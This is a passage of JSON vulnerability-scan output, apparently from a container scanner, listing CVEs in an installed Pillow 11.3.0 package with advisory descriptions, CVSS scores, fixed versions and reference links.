"sha256:50438d1f0eb7bf218e2a560fa6844618f1c55741934def7d0163afec7e53d0e5", "Title": "python-pillow: Pillow: Denial of Service via crafted GD 2.x image file", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:39127", "https://access.redhat.com/security/cve/CVE-2026-55380", "https://advisory.echohq.com/cve/CVE-2026-55380", "https://bugzilla.redhat.com/2497452", "https://bugzilla.redhat.com/2497455", "https://bugzilla.redhat.com/2497464", "https://bugzilla.redhat.com/2497466", "https://bugzilla.redhat.com/show_bug.cgi?id=2497452", "https://bugzilla.redhat.com/show_bug.cgi?id=2497455", "https://bugzilla.redhat.com/show_bug.cgi?id=2497464", "https://bugzilla.redhat.com/show_bug.cgi?id=2497466", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54060", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55380", "https://errata.almalinux.org/8/ALSA-2026-39127.html", "https://errata.rockylinux.org/RLSA-2026:39127", "https://github.com/advisories/GHSA-phj9-mv4w-65pm", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst", "https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm", "https://linux.oracle.com/cve/CVE-2026-55380.html", "https://linux.oracle.com/errata/ELSA-2026-39127.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-55380", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-55380" ], "PublishedDate": "2026-07-06T19:17:08.703Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-59197", "VendorIDs": [ "GHSA-xj96-63gp-2gmr" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59197", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:4ab7188f9844b4f6dbc2bcaf7992cd52f014f28bd73fabc452a56bf0d4098e2a", "Title": "Pillow: Pillow: Native heap out-of-bounds write", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-190", "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 8.2 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:48021", "https://access.redhat.com/security/cve/CVE-2026-59197", "https://advisory.echohq.com/cve/CVE-2026-59197", "https://bugzilla.redhat.com/2500043", "https://bugzilla.redhat.com/2500057", "https://bugzilla.redhat.com/show_bug.cgi?id=2500043", "https://bugzilla.redhat.com/show_bug.cgi?id=2500057", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54058", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59197", "https://errata.almalinux.org/8/ALSA-2026-48021.html", "https://errata.rockylinux.org/RLSA-2026:48021", "https://github.com/advisories/GHSA-xj96-63gp-2gmr", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1", "https://github.com/python-pillow/Pillow/pull/9695", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr", "https://linux.oracle.com/cve/CVE-2026-59197.html", "https://linux.oracle.com/errata/ELSA-2026-48021.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-59197", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-59197" ], "PublishedDate": "2026-07-14T17:17:14.487Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-59199", "VendorIDs": [ "GHSA-6r8x-57c9-28j4" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59199", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a848a32313dc3091531ac13bffea0c0ebe0b107c8f1ea4f261b30fd1c06648e0", "Title": "Pillow: Pillow: Denial of Service via out-of-bounds write in image processing", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-190", "CWE-787" ], "VendorSeverity": { "amazon": 3, "bitnami": 3, "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59199", "https://advisory.echohq.com/cve/CVE-2026-59199", "https://github.com/advisories/GHSA-6r8x-57c9-28j4", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b", "https://github.com/python-pillow/Pillow/pull/9703", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4", "https://nvd.nist.gov/vuln/detail/CVE-2026-59199", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-59199" ], "PublishedDate": "2026-07-14T16:17:01.937Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-59200", "VendorIDs": [ "GHSA-jjj6-mw9f-p565" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59200", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0b581ea97bcfb422ac6cdb98e3eec89be8b992ffc5805f2e724a7de5184cf43d", "Title": "Pillow: Pillow: Denial of service via crafted PDF stream", "Description": "Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-770" ], "VendorSeverity": { "amazon": 3, "bitnami": 3, "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59200", "https://advisory.echohq.com/cve/CVE-2026-59200", "https://github.com/advisories/GHSA-jjj6-mw9f-p565", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/f7a31ea75e460e108c37126da1f47812f21f6b09", "https://github.com/python-pillow/Pillow/pull/9718", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-jjj6-mw9f-p565", "https://nvd.nist.gov/vuln/detail/CVE-2026-59200", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-59200" ], "PublishedDate": "2026-07-14T17:17:14.62Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-59204", "VendorIDs": [ "GHSA-vjc4-5qp5-m44j" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59204", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:1d74472534d23e9b6492b90a7eb945aa3d6c93ac906be2288f1bf5e5582287c1", "Title": "Pillow: Pillow: Denial of Service via crafted JPEG2000 image", "Description": "Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789", "CWE-770" ], "VendorSeverity": { "amazon": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59204", "https://advisory.echohq.com/cve/CVE-2026-59204", "https://github.com/advisories/GHSA-vjc4-5qp5-m44j", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/13ada41172142f2fd9f0906f615a00ea623a11ca", "https://github.com/python-pillow/Pillow/pull/9704", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-vjc4-5qp5-m44j", "https://nvd.nist.gov/vuln/detail/CVE-2026-59204", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-59204" ], "PublishedDate": "2026-07-14T16:17:02.227Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-59205", "VendorIDs": [ "GHSA-9hw9-ch79-4vh6" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59205", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:77dc5f6cb004651969d48c1c4b919875f0377dcf5bc170f74fb4fd3fccf0efcb", "Title": "Pillow: Pillow: Controlled native heap corruption in ImageCms.ImageCmsTransform.apply API", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "bitnami": 3, "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59205", "https://advisory.echohq.com/cve/CVE-2026-59205", "https://github.com/advisories/GHSA-9hw9-ch79-4vh6", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721", "https://github.com/python-pillow/Pillow/pull/9715", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6", "https://nvd.nist.gov/vuln/detail/CVE-2026-59205", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-59205" ], "PublishedDate": "2026-07-14T16:17:02.37Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-96637", "VendorIDs": [ "GHSA-g842-9rc4-69pw" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96637", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:01ef9a0aed26f4ef5cc8a4ce06d3c056cbf500842ee9484ddfc37e5d97df1f4a", "Title": "pillow: pillow: Denial of Service via decompression bomb bypass in SPIDER images", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, SpiderImageFile.seek() in src/PIL/SpiderImagePlugin.py reparses a later SPIDER stack frame and replaces self._size without rerunning Image._decompression_bomb_check(). A tiny file can use a safe first frame to pass Image.open() and then declare very large dimensions in a later mode F frame. Loading that frame allocates approximately four bytes per attacker-declared pixel and can consume multiple gigabytes of memory. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-409" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 2, "redhat": 2, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 6.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96637", "https://advisory.echohq.com/cve/CVE-2026-96637", "https://getsafety.com/v/SFTY-20261022-38655/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/7cb0e02389d8aac2a60896a490f572db0b07b841", "https://github.com/python-pillow/Pillow/pull/10076", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-g842-9rc4-69pw", "https://nvd.nist.gov/vuln/detail/CVE-2026-96637", "https://www.cve.org/CVERecord?id=CVE-2026-96637" ], "PublishedDate": "2026-10-21T21:20:31.927Z", "LastModifiedDate": "2026-10-27T14:24:56.513Z" }, { "VulnerabilityID": "CVE-2026-96640", "VendorIDs": [ "GHSA-mrfp-p49p-3hf2" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96640", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:59b7bf936c8e11f7ca70e61776c11b9a225424a8b5c5c1ebc967bf6ee4b9e462", "Title": "pillow: pillow: Denial of Service via duplicate page references in PDF files", "Description": "Pillow is a Python imaging library. From 5.1.0 until 13.0.0, PdfParser.linearize_page_tree() in src/PIL/PdfParser.py treats a PDF /Pages graph as a tree without tracking duplicate indirect references. When Image.save(..., format=\"PDF\", append=True) processes an attacker-controlled existing PDF whose /Kids arrays repeatedly reference the same child /Pages node, Pillow expands the shared subtree as distinct pages. A compact malformed PDF can therefore create exponentially many page references and consume disproportionate CPU before the append completes. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-407" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-96640", "https://advisory.echohq.com/cve/CVE-2026-96640", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://github.com/advisories/GHSA-mrfp-p49p-3hf2", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/6f0e7ee1f9c2fe227906f8a4b926e6622b702bc7", "https://github.com/python-pillow/Pillow/pull/10093", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-mrfp-p49p-3hf2", "https://linux.oracle.com/cve/CVE-2026-96640.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-96640", "https://www.cve.org/CVERecord?id=CVE-2026-96640" ], "PublishedDate": "2026-10-21T21:20:32.357Z", "LastModifiedDate": "2026-10-28T02:17:07.99Z" }, { "VulnerabilityID": "CVE-2026-96642", "VendorIDs": [ "GHSA-3j72-p6qg-6xp7" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96642", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:713dfe72f2ff838b208eb4b166c8c1a2582dde19fd2185bbd179656f71a89b9c", "Title": "pillow: Pillow: Denial of Service via negative archive member size in TarIO", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, the TarIO initializer in src/PIL/TarIO.py accepts a negative octal member size and computes a backward seek that returns to the same 512-byte header. When the requested member name does not match, the parser repeatedly reads that header, consumes a full CPU core, and never returns. TarIO is reached only when an application directly uses PIL.TarIO.TarIO rather than the default Image.open() path. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 2, "redhat": 2, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 6.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96642", "https://advisory.echohq.com/cve/CVE-2026-96642", "https://github.com/advisories/GHSA-3j72-p6qg-6xp7", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/19b695fdcc5eddc37374e2b1645fc4185edaf71d", "https://github.com/python-pillow/Pillow/pull/10012", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-3j72-p6qg-6xp7", "https://nvd.nist.gov/vuln/detail/CVE-2026-96642", "https://www.cve.org/CVERecord?id=CVE-2026-96642" ], "PublishedDate": "2026-10-21T21:20:32.65Z", "LastModifiedDate": "2026-10-30T17:17:32.24Z" }, { "VulnerabilityID": "CVE-2026-96643", "VendorIDs": [ "GHSA-g4qv-2jxx-769h" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96643", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:88909909a720d5bcfae173f2eea3ce1b7852bc7c9493017b25cc2973f2980c07", "Title": "pillow: pillow: Denial of Service via repeated EXIF headers", "Description": "Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": 